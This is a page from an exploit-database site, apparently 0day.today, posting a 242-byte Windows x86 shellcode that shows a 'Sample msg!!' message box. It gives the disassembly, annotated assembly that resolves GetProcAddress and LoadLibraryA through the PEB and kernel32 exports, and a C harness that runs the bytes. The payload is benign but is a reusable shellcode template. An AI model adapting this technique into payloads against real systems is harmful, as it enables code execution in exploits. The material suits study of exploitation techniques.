0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Windows/x86 - MessageBoxA Shellcode (242 bytes)
[/*
# Title : Windows x86 MessageBoxA shellcode
# Author : Roziul Hasan Khan Shifat
# Date : 14-08-2016
# Tested On : Windows 7 starter x86
*/
/*
Disassembly of section .text:
00000000 <_start>:
0: 31 c9 xor %ecx,%ecx
2: 64 8b 41 30 mov %fs:0x30(%ecx),%eax
6: 8b 40 0c mov 0xc(%eax),%eax
9: 8b 70 14 mov 0x14(%eax),%esi
c: ad lods %ds:(%esi),%eax
d: 96 xchg %eax,%esi
e: ad lods %ds:(%esi),%eax
f: 8b 48 10 mov 0x10(%eax),%ecx
12: 31 db xor %ebx,%ebx
14: 8b 59 3c mov 0x3c(%ecx),%ebx
17: 01 cb add %ecx,%ebx
19: 8b 5b 78 mov 0x78(%ebx),%ebx
1c: 01 cb add %ecx,%ebx
1e: 8b 73 20 mov 0x20(%ebx),%esi
21: 01 ce add %ecx,%esi
23: 31 d2 xor %edx,%edx
00000025 <g>:
25: 42 inc %edx
26: ad lods %ds:(%esi),%eax
27: 01 c8 add %ecx,%eax
29: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
2f: 75 f4 jne 25 <g>
31: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
38: 75 eb jne 25 <g>
3a: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
41: 75 e2 jne 25 <g>
43: 8b 73 1c mov 0x1c(%ebx),%esi
46: 01 ce add %ecx,%esi
48: 8b 14 96 mov (%esi,%edx,4),%edx
4b: 01 ca add %ecx,%edx
4d: 89 d6 mov %edx,%esi
4f: 89 cf mov %ecx,%edi
51: 31 db xor %ebx,%ebx
53: 53 push %ebx
54: 68 61 72 79 41 push $0x41797261
59: 68 4c 69 62 72 push $0x7262694c
5e: 68 4c 6f 61 64 push $0x64616f4c
63: 54 push %esp
64: 51 push %ecx
65: ff d2 call *%edx
67: 83 c4 10 add $0x10,%esp
6a: 31 c9 xor %ecx,%ecx
6c: 68 6c 6c 42 42 push $0x42426c6c
71: 88 4c 24 02 mov %cl,0x2(%esp)
75: 68 33 32 2e 64 push $0x642e3233
7a: 68 75 73 65 72 push $0x72657375
7f: 54 push %esp
80: ff d0 call *%eax
82: 83 c4 0c add $0xc,%esp
85: 31 c9 xor %ecx,%ecx
87: 68 6f 78 41 42 push $0x4241786f
8c: 88 4c 24 03 mov %cl,0x3(%esp)
90: 68 61 67 65 42 push $0x42656761
95: 68 4d 65 73 73 push $0x7373654d
9a: 54 push %esp
9b: 50 push %eax
9c: ff d6 call *%esi
9e: 83 c4 0c add $0xc,%esp
a1: 31 d2 xor %edx,%edx
a3: 31 c9 xor %ecx,%ecx
a5: 52 push %edx
a6: 68 73 67 21 21 push $0x21216773
ab: 68 6c 65 20 6d push $0x6d20656c
b0: 68 53 61 6d 70 push $0x706d6153
b5: 8d 14 24 lea (%esp),%edx
b8: 51 push %ecx
b9: 68 68 65 72 65 push $0x65726568
be: 68 68 69 20 54 push $0x54206968
c3: 8d 0c 24 lea (%esp),%ecx
c6: 31 db xor %ebx,%ebx
c8: 43 inc %ebx
c9: 53 push %ebx
ca: 52 push %edx
cb: 51 push %ecx
cc: 31 db xor %ebx,%ebx
ce: 53 push %ebx
cf: ff d0 call *%eax
d1: 31 c9 xor %ecx,%ecx
d3: 68 65 73 73 41 push $0x41737365
d8: 88 4c 24 03 mov %cl,0x3(%esp)
dc: 68 50 72 6f 63 push $0x636f7250
e1: 68 45 78 69 74 push $0x74697845
e6: 8d 0c 24 lea (%esp),%ecx
e9: 51 push %ecx
ea: 57 push %edi
eb: ff d6 call *%esi
ed: 31 c9 xor %ecx,%ecx
ef: 51 push %ecx
f0: ff d0 call *%eax
*/
/*
section .text
global _start
_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->Ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;kernel32 base address
xor ebx,ebx
mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
;--------------------------------------------------
xor edx,edx
g:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz g
cmp dword [eax+4],'rocA'
jnz g
cmp dword [eax+8],'ddre'
jnz g
;-----------------------------------------------------
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
;---------------------------------
mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()
;------------------
mov esi,edx
mov edi,ecx
;--------------------
;finding address of LoadLibraryA()
xor ebx,ebx
push ebx
push 0x41797261
push 0x7262694c
push 0x64616f4c
push esp
push ecx
call edx
add esp,16
;---------------------------
xor ecx,ecx
;LoadLibraryA("user32.dll")
push 0x42426c6c
mov [esp+2],byte cl
push 0x642e3233
push 0x72657375
push esp
call eax
;-------------------------
;Finding address of MessageBoxA()
add esp,12
xor ecx,ecx
push 0x4241786f
mov [esp+3],byte cl
push 0x42656761
push 0x7373654d
push esp
push eax
call esi
;---------------------------------
add esp,12
;----------------
;MessageBoxA(NULL,"Sample msg!!","hi There",1)
xor edx,edx
xor ecx,ecx
push edx
push 0x21216773
push 0x6d20656c
push 0x706d6153
lea edx,[esp] ; "Sample msg!!"
push ecx
push 0x65726568
push 0x54206968
lea ecx,[esp] ; "hi There"
xor ebx,ebx
inc ebx
push ebx
push edx
push ecx
xor ebx,ebx
push ebx
call eax
;----------------------
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845
lea ecx,[esp]
push ecx
push edi
call esi
;---------------
xor ecx,ecx
push ecx
call eax
*/
#include<stdio.h>
#include<string.h>
char shellcode[]=\
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";
main()
{
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}
# 0day.today [2024-11-16] #